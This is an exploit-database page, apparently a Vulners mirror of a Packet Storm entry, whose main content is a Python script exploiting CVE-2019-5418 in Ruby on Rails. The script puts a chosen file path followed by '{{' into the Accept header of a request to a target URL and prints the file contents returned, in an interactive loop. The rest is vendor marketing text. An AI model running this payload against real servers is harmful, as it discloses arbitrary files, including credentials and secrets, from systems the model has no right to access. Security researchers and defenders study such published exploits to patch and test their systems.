Lucene search
K

Rails 5.2.1 Arbitrary File Content Disclosure

🗓️ 21 Mar 2019 00:00:00Reported by NotoriousRebelType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 76 Views

Rails 5.2.1 Arbitrary File Content Disclosure on Ubunt

Related
Code
`'''  
Exploit Title: File Content Disclosure on Rails  
Date: CVE disclosed 3/16 today's date is 3/20  
Exploit Author: NotoriousRebel  
Vendor Homepage: https://rubyonrails.org/  
Software Link: https://github.com/rails/rails  
Version: Versions Affected: all Fixed Versions: 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1  
Tested on: Rails 5.2.1 (Using ubuntu on linux subsystem for Windows)  
CVE: 2019-5418  
'''  
import sys  
  
try:  
import requests  
except ImportError:  
print('\n\033[93m[!] Requests library not found, please install before proceeding.\n\n \033[0m')  
sys.exit(1)  
  
  
def banner():  
banner = """  
----------------------------------------------  
Arbitrary Traversal exploit for Ruby on Rails  
CVE-2019-5418  
----------------------------------------------  
"""  
print(banner)  
  
def check_args():  
if len(sys.argv) != 2:  
print("Invalid number of arguments entered!")  
how_to_use = "python3 Bandit.py url"  
print('Use as:', how_to_use)  
sys.exit(1)  
  
  
def check_url(url):  
status_code = requests.get(url)  
if status_code != 200:  
print("Url is invalid or can not be reached!")  
sys.exit(1)  
  
  
def read_file(url, file):  
headers = {'Accept': file + '{{'}  
req = requests.get(url, headers=headers)  
return req  
  
  
def main():  
banner()  
check_args()  
url = sys.argv[1]  
while True:  
try:  
file = input("Enter file to read (enter quit to exit): ")  
except Exception:  
file = raw_input("Enter file to read (enter quit to exit): ")  
try:  
if file.lower() == 'quit':  
break  
except Exception:  
if file == 'quit':  
break  
response = read_file(url, file)  
print(response.text)  
  
  
if __name__ == '__main__':  
try:  
main()  
except KeyboardInterrupt:  
print('\n\n\033[93m[!] ctrl+c detected from user, quitting.\n\n \033[0m')  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation